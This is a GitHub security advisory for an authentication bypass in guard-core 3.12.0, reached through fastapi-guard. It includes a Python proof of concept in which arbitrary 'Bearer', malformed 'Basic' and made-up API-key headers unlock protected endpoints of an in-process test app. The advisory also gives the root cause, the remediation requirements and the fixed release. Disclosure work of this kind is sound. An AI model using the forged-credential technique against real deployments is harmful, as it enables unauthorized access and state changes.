Skip to main content
Menu
Advisories

Authentication primitives accept arbitrary unvalidated credentials

GHSA-X96C-FCG2-X2F9Published Updated GitHub

Description

guard-core authentication primitives accept attacker-controlled credentials without performing credential validation. @guard.require_auth(type="bearer") accepts any attacker-controlled string that starts with Bearer as authenticated. It does not validate a token signature, issuer, audience, expiration, subject, or any application credential store. An unauthenticated remote caller can therefore access an endpoint that relies on this documented decorator as its authentication gate.

Bearer authentication is the primary issue. The same validation failure affects the related Basic and API-key primitives: a malformed Basic credential is accepted if it starts with Basic , and @guard.api_key_auth() accepts any value once the configured API-key header is present.

This is CWE-287 (Improper Authentication).

Details

Affected versions verified

I installed and tested released wheels in isolated environments outside the source checkout. The PoC uses httpx.ASGITransport, so no listener, external endpoint, proxy, Redis instance, or special router nesting is involved.

I directly confirmed the vulnerable behavior with guard-core 3.12.0 through the fastapi-guard integration layer. fastapi-guard 5.0.0 and 7.6.0 both resolve to the affected guard-core 3.12.0 implementation.

The exact introduced and fixed version ranges of guard-core should be determined during maintainer triage.

The vulnerable implementation is confirmed in guard-core 3.12.0. The exact introduced version should be determined during maintainer triage.

Why this is an authentication bypass

The public API and examples describe this decorator as authentication enforcement. For example, the Bearer example says it requires a valid Bearer token and documents a 401 response for a missing or invalid token (current example). The API overview also describes the mixin as handling auth requirements and API-key validation.

The PoC has a blocked control: no Authorization header receives 401. Supplying only the expected scheme prefix changes the same request to 200. This establishes that the decorator is active but makes an authentication decision from attacker-controlled syntax rather than a credential-validation result. It is unrelated to route-resolution behavior or disabled middleware.

fastapi-guard exposes these authentication primitives as an adapter over guard-core; the authentication decision demonstrated by the PoC is performed by the shared guard-core implementation.

Root cause

The affected authentication decision is implemented directly in guard-core 3.12.0:

  1. AuthenticationMixin.require_auth stores only "bearer" or "basic" in route_config.auth_required.
  2. AuthenticationCheck.check reads the Authorization header and calls validate_auth_header.
  3. validate_auth_header returns success for every value beginning with Bearer or Basic . It does not parse, look up, or cryptographically validate a credential.
  4. api_key_auth configures a required header, but does not provide or call an API-key verifier.

Remediation requirement

A request must not satisfy an authentication decorator merely because an attacker-controlled credential has the expected scheme or header name. Bearer, Basic, and API-key routes must reject arbitrary values unless an actual credential-validation decision succeeds.

One possible implementation is to require a synchronous/asynchronous verifier callback or authentication backend that receives the request and raw credential and returns an authenticated principal or denial. A route configured as authentication without a verifier should fail closed. If header-format or header-presence checks are retained, they should be exposed under an unambiguous non-authentication name and not documented as token/API-key validation.

Regression coverage should reject arbitrary Bearer values, malformed Basic values, and arbitrary API-key values; it should also prove that valid verifier-approved credentials succeed and verifier errors or missing verifiers fail closed.

Public duplicate check

I reviewed public GitHub security advisories and searched public repository issues for require_auth, require_headers, UTF-16, UTF-32, and BOM. I found no public advisory matching arbitrary credential acceptance. GHSA-f2vm-w8gq-h378 is a separate route-resolution bypass on deeply nested routes, not a credential-validation failure.

PoC

Save the following as poc.py, then run the command below from outside any fastapi-guard source checkout.

This PoC uses fastapi-guard only as a minimal FastAPI integration harness. The vulnerable authentication decision exercised by the PoC occurs in guard-core 3.12.0.

import asyncio

from fastapi import FastAPI
from guard import SecurityConfig, SecurityDecorator
from guard.middleware import SecurityMiddleware
from httpx import ASGITransport, AsyncClient


async def main():
    config = SecurityConfig(enable_redis=False, enable_rate_limiting=False)
    app = FastAPI()
    guard = SecurityDecorator(config)

    # Primary affected primitive: Bearer authentication.
    @guard.require_auth(type="bearer")
    @app.get("/bearer-secret")
    async def bearer_secret():
        return {"secret": "bearer-protected"}

    # Secondary affected primitive: Basic authentication.
    @guard.require_auth(type="basic")
    @app.get("/basic-secret")
    async def basic_secret():
        return {"secret": "basic-protected"}

    # Secondary affected primitive: API-key authentication.
    @guard.api_key_auth(header_name="X-API-Key")
    @app.get("/api-key-secret")
    async def api_key_secret():
        return {"secret": "api-key-protected"}

    app.add_middleware(SecurityMiddleware, config=config)
    app.state.guard_decorator = guard

    async with AsyncClient(
        transport=ASGITransport(app=app), base_url="http://audit.local"
    ) as client:
        missing_bearer = await client.get("/bearer-secret")
        arbitrary_bearer = await client.get(
            "/bearer-secret",
            headers={"Authorization": "Bearer attacker-controlled-value"},
        )

        missing_basic = await client.get("/basic-secret")
        malformed_basic = await client.get(
            "/basic-secret",
            headers={"Authorization": "Basic not-base64-and-not-validated"},
        )

        missing_api_key = await client.get("/api-key-secret")
        arbitrary_api_key = await client.get(
            "/api-key-secret",
            headers={"X-API-Key": "attacker-controlled-value"},
        )

    # Controls: the decorator is active when a credential/header is absent.
    assert (missing_bearer.status_code, missing_bearer.text) == (
        401,
        "Authentication required",
    )
    assert (missing_basic.status_code, missing_basic.text) == (
        401,
        "Authentication required",
    )
    assert (missing_api_key.status_code, missing_api_key.text) == (
        400,
        "Missing required header: X-API-Key",
    )

    # Bypasses: attacker-selected values are accepted as authenticated.
    assert (arbitrary_bearer.status_code, arbitrary_bearer.text) == (
        200,
        '{"secret":"bearer-protected"}',
    )
    assert (malformed_basic.status_code, malformed_basic.text) == (
        200,
        '{"secret":"basic-protected"}',
    )
    assert (arbitrary_api_key.status_code, arbitrary_api_key.text) == (
        200,
        '{"secret":"api-key-protected"}',
    )

    print("Vulnerable: missing credentials are rejected, arbitrary credentials pass")


asyncio.run(main())
uv run --isolated --no-project --with fastapi-guard==7.6.0 --with httpx -- python poc.py

Observed result with guard-core 3.12.0 through the fastapi-guard 7.6.0 integration: the process exits successfully, confirming Bearer 401 → 200, Basic 401 → 200, and API key 400 → 200 after only an attacker-controlled credential/header value is added.

Impact

Any framework adapter or application that exposes the affected guard-core authentication primitives as its authentication boundary may inherit this issue. An unauthenticated network client can select any Bearer value and invoke that endpoint. The proof of concept demonstrates unauthorized access to a protected response without a real credential.

The impact is not limited to confidentiality: if a decorated endpoint performs administration, account changes, payment actions, deletion, or other state changes, the same bypass can authorize those actions.

Until a fixed release is available, applications should not use require_auth or api_key_auth as their authentication decision point. Enforce authentication and authorization with an application-owned FastAPI dependency or equivalent verifier, and use FastAPI Guard only as an additional defense-in-depth layer.

According to the maintainer, the shared implementation is consumed by fastapi-guard, flaskapi-guard, and djapi-guard, so affected adapters inherit the vulnerable behavior through their guard-core dependency.

Reporter validation request

The fix ships in guard-core 3.13.0, now on PyPI. If you reported this issue, please install 3.13.0 and confirm it is resolved. You can reply in this advisory's discussion thread or open a new issue with the result.

Affected versions

References

GitHub · Guard-Core/guard-core